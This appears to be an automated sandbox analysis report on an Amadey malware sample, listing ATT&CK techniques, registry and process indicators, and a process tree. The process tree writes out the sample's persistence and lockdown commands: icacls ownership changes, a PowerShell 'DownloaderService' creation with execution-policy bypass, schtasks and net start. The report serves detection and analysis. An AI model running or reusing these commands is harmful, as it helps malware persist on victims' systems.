amadey | 86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2M7278.exe

NirSoft NirCmd 1 IoCs

NirCmd is a lightweight Windows command-line tool for automating system tasks

resource	yara_rule
behavioral1/files/0x0009000000024381-68.dat	NirCmd

Sets service image path in registry 3 TTPs 2 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

Modify Registry

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\IObitUnlocker\ImagePath = "C:\\Users\\Admin\\AppData\\Local\\Temp\\IObitUnlocker\\IObitUnlocker.sys"	game.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2M7278.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2M7278.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	systemhelper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	game.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 55 IoCs

pid	Process
4524	1m75d2.exe
2300	1m75d2.exe
4984	lYHGXJMh.exe
1016	2M7278.exe
1876	winloghelper.exe
3088	systemhelper.exe
1744	nircmd.exe
4400	nircmd.exe
4856	NSudoLG.exe
3004	NSudoLG.exe
4312	lYHGXJMh.exe
3628	7z.exe
428	game.exe
2884	7z.exe
4612	game.exe
4144	lYHGXJMh.exe
4476	game.exe
4412	game.exe
1824	game.exe
1780	game.exe
2872	IObitUnlocker.exe
4440	lYHGXJMh.exe
3300	IObitUnlocker.sys
4060	IObitUnlocker.exe
2960	IObitUnlocker.exe
4756	IObitUnlocker.exe
2076	IObitUnlocker.exe
1172	lYHGXJMh.exe
2352	IObitUnlocker.exe
1836	IObitUnlocker.exe
1792	lYHGXJMh.exe
5028	lYHGXJMh.exe
4620	lYHGXJMh.exe
1284	lYHGXJMh.exe
2540	lYHGXJMh.exe
4512	lYHGXJMh.exe
4976	lYHGXJMh.exe
4724	lYHGXJMh.exe
2868	lYHGXJMh.exe
5104	lYHGXJMh.exe
1140	lYHGXJMh.exe
3384	lYHGXJMh.exe
1928	lYHGXJMh.exe
2960	lYHGXJMh.exe
1700	lYHGXJMh.exe
2196	lYHGXJMh.exe
1428	lYHGXJMh.exe
5072	lYHGXJMh.exe
2264	lYHGXJMh.exe
4132	lYHGXJMh.exe
2696	winloghelper.exe
1520	lYHGXJMh.exe
4336	lYHGXJMh.exe
408	lYHGXJMh.exe
1712	lYHGXJMh.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Software\Wine	2M7278.exe

Loads dropped DLL 7 IoCs

pid	Process
2872	IObitUnlocker.exe
4060	IObitUnlocker.exe
2960	IObitUnlocker.exe
4756	IObitUnlocker.exe
2076	IObitUnlocker.exe
2352	IObitUnlocker.exe
1836	IObitUnlocker.exe

Modifies file permissions 1 TTPs 9 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3968	icacls.exe
3436	icacls.exe
224	icacls.exe
1392	icacls.exe
4136	icacls.exe
2872	icacls.exe
4216	icacls.exe
4588	icacls.exe
4852	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	jaffacakes118_86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741.exe

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2936	tasklist.exe
3968	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1016	2M7278.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\winloghelper.exe	1m75d2.exe
File created	C:\Windows\systemhelper.exe	1m75d2.exe
File opened for modification	C:\Windows\winloghelper.exe	1m75d2.exe
File opened for modification	C:\Windows\systemhelper.exe	1m75d2.exe
File created	C:\Windows\lYHGXJMh.exe	1m75d2.exe
File opened for modification	C:\Windows\lYHGXJMh.exe	1m75d2.exe

Launches sc.exe 30 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2156	sc.exe
4136	sc.exe
1452	sc.exe
2108	sc.exe
1016	sc.exe
1752	sc.exe
4060	sc.exe
612	sc.exe
1672	sc.exe
1744	sc.exe
4624	sc.exe
4692	sc.exe
3304	sc.exe
448	sc.exe
4284	sc.exe
3696	sc.exe
4112	sc.exe
544	sc.exe
4372	sc.exe
4076	sc.exe
5116	sc.exe
1516	sc.exe
1836	sc.exe
5108	sc.exe
2188	sc.exe
1756	sc.exe
2860	sc.exe
3636	sc.exe
3916	sc.exe
2224	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2028	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 35 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
692	cmd.exe
4180	cmd.exe
3024	cmd.exe
2008	cmd.exe
4228	cmd.exe
936	cmd.exe
1216	cmd.exe
212	cmd.exe
4688	cmd.exe
1052	cmd.exe
1020	cmd.exe
612	cmd.exe
1696	cmd.exe
4796	cmd.exe
2160	cmd.exe
1432	cmd.exe
5100	cmd.exe
3992	cmd.exe
4736	cmd.exe
1452	cmd.exe
5092	cmd.exe
4408	cmd.exe
4032	cmd.exe
2068	cmd.exe
4484	cmd.exe
3020	cmd.exe
4200	cmd.exe
4348	cmd.exe
1040	cmd.exe
2192	cmd.exe
988	cmd.exe
2396	cmd.exe
2976	cmd.exe
1880	cmd.exe
3636	cmd.exe

Program crash 29 IoCs

pid	pid_target	Process	procid_target
2488	4984	WerFault.exe	120
4324	4312	WerFault.exe	151
1300	4144	WerFault.exe	213
3696	4440	WerFault.exe	298
3836	1172	WerFault.exe	307
3968	1792	WerFault.exe	323
3836	5028	WerFault.exe	326
4760	4620	WerFault.exe	329
2112	1284	WerFault.exe	332
5076	2540	WerFault.exe	335
4164	4512	WerFault.exe	338
1712	4976	WerFault.exe	341
1772	4724	WerFault.exe	344
4576	2868	WerFault.exe	347
2752	5104	WerFault.exe	350
312	1140	WerFault.exe	353
1516	3384	WerFault.exe	356
4260	1928	WerFault.exe	359
2204	2960	WerFault.exe	362
2604	1700	WerFault.exe	365
4564	2196	WerFault.exe	368
4344	1428	WerFault.exe	371
1112	5072	WerFault.exe	374
840	2264	WerFault.exe	377
4760	4132	WerFault.exe	380
4152	1520	WerFault.exe	386
4068	4336	WerFault.exe	389
3492	408	WerFault.exe	392
1652	1712	WerFault.exe	395

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mode.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2M7278.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1m75d2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IObitUnlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
1800	taskkill.exe
3504	taskkill.exe
3864	taskkill.exe
4624	taskkill.exe
1700	taskkill.exe
5076	taskkill.exe

Modifies data under HKEY_USERS 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize\AppsUseLightTheme = "0"	reg.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize	reg.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

pid	Process
1188	reg.exe
2068	reg.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
432	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
2028	powershell.exe
2028	powershell.exe
1016	2M7278.exe
1016	2M7278.exe
4856	NSudoLG.exe
4856	NSudoLG.exe
3004	NSudoLG.exe
3004	NSudoLG.exe
2872	IObitUnlocker.exe
2872	IObitUnlocker.exe
2872	IObitUnlocker.exe
2872	IObitUnlocker.exe
4060	IObitUnlocker.exe
4060	IObitUnlocker.exe
4060	IObitUnlocker.exe
4060	IObitUnlocker.exe
2960	IObitUnlocker.exe
2960	IObitUnlocker.exe
2960	IObitUnlocker.exe
2960	IObitUnlocker.exe
4756	IObitUnlocker.exe
4756	IObitUnlocker.exe
4756	IObitUnlocker.exe
4756	IObitUnlocker.exe
2076	IObitUnlocker.exe
2076	IObitUnlocker.exe
2076	IObitUnlocker.exe
2076	IObitUnlocker.exe
2352	IObitUnlocker.exe
2352	IObitUnlocker.exe
2352	IObitUnlocker.exe
2352	IObitUnlocker.exe
1836	IObitUnlocker.exe
1836	IObitUnlocker.exe
1836	IObitUnlocker.exe
1836	IObitUnlocker.exe

Suspicious behavior: LoadsDriver 12 IoCs

pid	Process
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found
652	Process not Found

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeRestorePrivilege	4136	icacls.exe
Token: SeRestorePrivilege	4216	icacls.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeRestorePrivilege	4588	icacls.exe
Token: SeDebugPrivilege	4856	NSudoLG.exe
Token: SeDebugPrivilege	3004	NSudoLG.exe
Token: SeDebugPrivilege	2936	tasklist.exe
Token: SeDebugPrivilege	3968	tasklist.exe
Token: SeRestorePrivilege	3628	7z.exe
Token: 35	3628	7z.exe
Token: SeSecurityPrivilege	3628	7z.exe
Token: SeSecurityPrivilege	3628	7z.exe
Token: SeRestorePrivilege	2884	7z.exe
Token: 35	2884	7z.exe
Token: SeSecurityPrivilege	2884	7z.exe
Token: SeSecurityPrivilege	2884	7z.exe
Token: SeDebugPrivilege	1800	taskkill.exe
Token: SeDebugPrivilege	5076	taskkill.exe
Token: SeRestorePrivilege	4352	reg.exe
Token: SeRestorePrivilege	5044	reg.exe
Token: SeRestorePrivilege	4456	reg.exe
Token: SeRestorePrivilege	2672	reg.exe
Token: SeLoadDriverPrivilege	4476	game.exe
Token: SeDebugPrivilege	3504	taskkill.exe
Token: SeDebugPrivilege	3864	taskkill.exe
Token: SeDebugPrivilege	4624	taskkill.exe
Token: SeLoadDriverPrivilege	1824	game.exe
Token: SeDebugPrivilege	1700	taskkill.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2872	IObitUnlocker.exe
4060	IObitUnlocker.exe
2960	IObitUnlocker.exe
4756	IObitUnlocker.exe
2076	IObitUnlocker.exe
2352	IObitUnlocker.exe
1836	IObitUnlocker.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3904 wrote to memory of 4524	3904	jaffacakes118_86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741.exe	83
PID 4524 wrote to memory of 2160	4524	1m75d2.exe	85
PID 2160 wrote to memory of 4136	2160	cmd.exe	87
PID 4524 wrote to memory of 4484	4524	1m75d2.exe	88
PID 4484 wrote to memory of 2872	4484	cmd.exe	90
PID 4524 wrote to memory of 5092	4524	1m75d2.exe	91
PID 5092 wrote to memory of 4852	5092	cmd.exe	93
PID 4524 wrote to memory of 692	4524	1m75d2.exe	94
PID 692 wrote to memory of 4216	692	cmd.exe	96
PID 4524 wrote to memory of 3992	4524	1m75d2.exe	97
PID 3992 wrote to memory of 3968	3992	cmd.exe	99
PID 4524 wrote to memory of 4736	4524	1m75d2.exe	100
PID 4736 wrote to memory of 3436	4736	cmd.exe	102
PID 4524 wrote to memory of 4228	4524	1m75d2.exe	103
PID 4228 wrote to memory of 2028	4228	cmd.exe	105
PID 4524 wrote to memory of 1052	4524	1m75d2.exe	106
PID 1052 wrote to memory of 636	1052	cmd.exe	108
PID 636 wrote to memory of 988	636	net.exe	109
PID 2300 wrote to memory of 2396	2300	1m75d2.exe	111
PID 2396 wrote to memory of 4588	2396	cmd.exe	113
PID 2300 wrote to memory of 1020	2300	1m75d2.exe	114
PID 1020 wrote to memory of 224	1020	cmd.exe	116
PID 2300 wrote to memory of 3020	2300	1m75d2.exe	117
PID 3020 wrote to memory of 1392	3020	cmd.exe	119
PID 2300 wrote to memory of 4984	2300	1m75d2.exe	120
PID 4524 wrote to memory of 4180	4524	1m75d2.exe	124
PID 4180 wrote to memory of 432	4180	cmd.exe	126
PID 4524 wrote to memory of 936	4524	1m75d2.exe	127
PID 4524 wrote to memory of 4688	4524	1m75d2.exe	128
PID 3904 wrote to memory of 1016	3904	jaffacakes118_86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741.exe	131
PID 936 wrote to memory of 1876	936	cmd.exe	132
PID 4688 wrote to memory of 3088	4688	cmd.exe	133
PID 3088 wrote to memory of 4408	3088	systemhelper.exe	136
PID 3088 wrote to memory of 2976	3088	systemhelper.exe	139
PID 4408 wrote to memory of 1744	4408	cmd.exe	141
PID 2976 wrote to memory of 4400	2976	cmd.exe	142
PID 4408 wrote to memory of 3780	4408	cmd.exe	143
PID 2976 wrote to memory of 4260	2976	cmd.exe	144
PID 4408 wrote to memory of 5088	4408	cmd.exe	145
PID 4408 wrote to memory of 2968	4408	cmd.exe	146
PID 2976 wrote to memory of 4860	2976	cmd.exe	147
PID 4408 wrote to memory of 4856	4408	cmd.exe	148
PID 2976 wrote to memory of 1892	2976	cmd.exe	149
PID 2976 wrote to memory of 3004	2976	cmd.exe	150
PID 2300 wrote to memory of 4312	2300	1m75d2.exe	151
PID 2976 wrote to memory of 3304	2976	cmd.exe	154
PID 4408 wrote to memory of 3288	4408	cmd.exe	155
PID 2976 wrote to memory of 612	2976	cmd.exe	157
PID 4408 wrote to memory of 4200	4408	cmd.exe	156
PID 2976 wrote to memory of 448	2976	cmd.exe	158
PID 2976 wrote to memory of 1664	2976	cmd.exe	159
PID 4408 wrote to memory of 2108	4408	cmd.exe	160
PID 4408 wrote to memory of 4284	4408	cmd.exe	161
PID 4408 wrote to memory of 1880	4408	cmd.exe	162
PID 2976 wrote to memory of 4348	2976	cmd.exe	163
PID 1880 wrote to memory of 2936	1880	cmd.exe	164
PID 4348 wrote to memory of 3968	4348	cmd.exe	165
PID 2976 wrote to memory of 1944	2976	cmd.exe	167
PID 2976 wrote to memory of 5044	2976	cmd.exe	168
PID 2976 wrote to memory of 2372	2976	cmd.exe	169
PID 4408 wrote to memory of 5072	4408	cmd.exe	170
PID 4408 wrote to memory of 2152	4408	cmd.exe	171
PID 2976 wrote to memory of 840	2976	cmd.exe	172
PID 4408 wrote to memory of 536	4408	cmd.exe	173

C:\Users\Admin\AppData\Local\Temp\jaffacakes118_86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741.exe
"C:\Users\Admin\AppData\Local\Temp\jaffacakes118_86164cd5dbfa148bfdcea19445c7767e24f97631a4ac19ca6b4e16438e649741.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:3904
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of WriteProcessMemory
  PID:4524
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2160
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /setowner "SYSTEM"
      4⤵
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4136
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4484
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
      4⤵
      Modifies file permissions
      PID:2872
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\winloghelper.exe" /remove:d Everyone Administrators
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4852
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:692
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /setowner "SYSTEM"
      4⤵
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4216
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3992
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3968
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\systemhelper.exe" /remove:d Everyone Administrators
      4⤵
      Modifies file permissions
      PID:3436
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe" -StartupType Automatic"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4228
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -Command "New-Service -Name "DownloaderService" -BinaryPathName "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1m75d2.exe" -StartupType Automatic"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2028
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c net start "DownloaderService"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1052
  - - C:\Windows\SysWOW64\net.exe
      net start "DownloaderService"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start "DownloaderService"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:988
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "WindowsLogsHelper" /xml "C:\Users\Admin\AppData\Local\Temp\WindowsLogsHelper.xml" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:432
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "C:\Windows\winloghelper.exe"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\winloghelper.exe
      "C:\Windows\winloghelper.exe"
      4⤵
      Executes dropped EXE
      PID:1876
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /c start "" "C:\Windows\systemhelper.exe"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4688
  - - C:\Windows\systemhelper.exe
      "C:\Windows\systemhelper.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:3088
    - - C:\Windows\SysWOW64\cmd.exe
        
